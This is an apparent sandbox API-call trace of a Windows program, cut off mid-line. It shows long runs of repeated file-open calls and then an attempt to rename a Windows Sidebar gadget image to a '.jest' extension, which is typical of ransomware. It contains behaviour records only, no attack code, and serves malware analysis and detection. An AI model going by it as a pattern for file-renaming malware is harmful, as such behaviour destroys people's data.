[0125.992] GetLastError () returned 0x0 [0125.992] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.993] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.993] GetLastError () returned 0x0 [0125.993] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.993] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.993] GetLastError () returned 0x0 [0125.993] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.994] GetLastError () returned 0x0 [0125.994] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.994] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.994] GetLastError () returned 0x0 [0125.994] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.995] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.995] GetLastError () returned 0x0 [0125.995] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.995] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.995] GetLastError () returned 0x0 [0125.995] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.996] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.996] GetLastError () returned 0x0 [0125.996] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.996] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.996] GetLastError () returned 0x0 [0125.996] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.997] GetLastError () returned 0x0 [0125.997] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.997] GetLastError () returned 0x0 [0125.997] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.997] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.998] GetLastError () returned 0x0 [0125.998] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.998] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.998] GetLastError () returned 0x0 [0125.998] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.998] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.999] GetLastError () returned 0x0 [0125.999] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.999] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.999] GetLastError () returned 0x0 [0126.000] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.000] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.000] GetLastError () returned 0x0 [0126.000] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.000] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.000] GetLastError () returned 0x0 [0126.000] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.001] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.001] GetLastError () returned 0x0 [0126.001] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.001] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.001] GetLastError () returned 0x0 [0126.001] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.002] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.002] GetLastError () returned 0x0 [0126.002] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.002] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.002] GetLastError () returned 0x0 [0126.002] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.003] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.003] GetLastError () returned 0x0 [0126.003] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.003] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.003] GetLastError () returned 0x0 [0126.003] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.004] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.004] GetLastError () returned 0x0 [0126.004] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.004] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.004] GetLastError () returned 0x0 [0126.004] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.004] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.005] GetLastError () returned 0x0 [0126.005] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.005] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.005] GetLastError () returned 0x0 [0126.005] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.005] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.006] GetLastError () returned 0x0 [0126.006] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.006] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="⵼", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.006] GetLastError () returned 0x0 [0126.006] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.006] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.006] GetLastError () returned 0x0 [0126.007] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.007] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔒ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.007] GetLastError () returned 0x0 [0126.007] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.007] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.007] GetLastError () returned 0x0 [0126.007] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.008] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.008] GetLastError () returned 0x0 [0126.008] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.008] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.008] GetLastError () returned 0x0 [0126.008] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.009] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.009] GetTickCount () returned 0x1151f35 [0126.009] GetTickCount () returned 0x1151f35 [0126.009] GetTickCount () returned 0x1151f35 [0126.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.009] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.009] GetTickCount () returned 0x1151f35 [0126.009] IsWindowVisible (hWnd=0x30268) returned 0 [0126.009] Sleep (dwMilliseconds=0x0) [0126.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.011] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.011] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\square.png.jest")) returned 0 [0126.012] GetLastError () returned 0x5 [0126.013] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡⹥湰g") returned 0x4d [0126.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=77, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.013] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡⹥湰g") returned 0x4d [0126.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=78, lpWideCharStr=0x14cf144, cchWideChar=155 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png") returned 78 [0126.013] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡⹥湰⹧敪瑳") returned 0x52 [0126.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0126.013] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥獜畱牡⹥湰⹧敪瑳") returned 0x52 [0126.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14c2ea4, cbMultiByte=83, lpWideCharStr=0x144ddec, cchWideChar=165 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png.jest") returned 83 [0126.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows 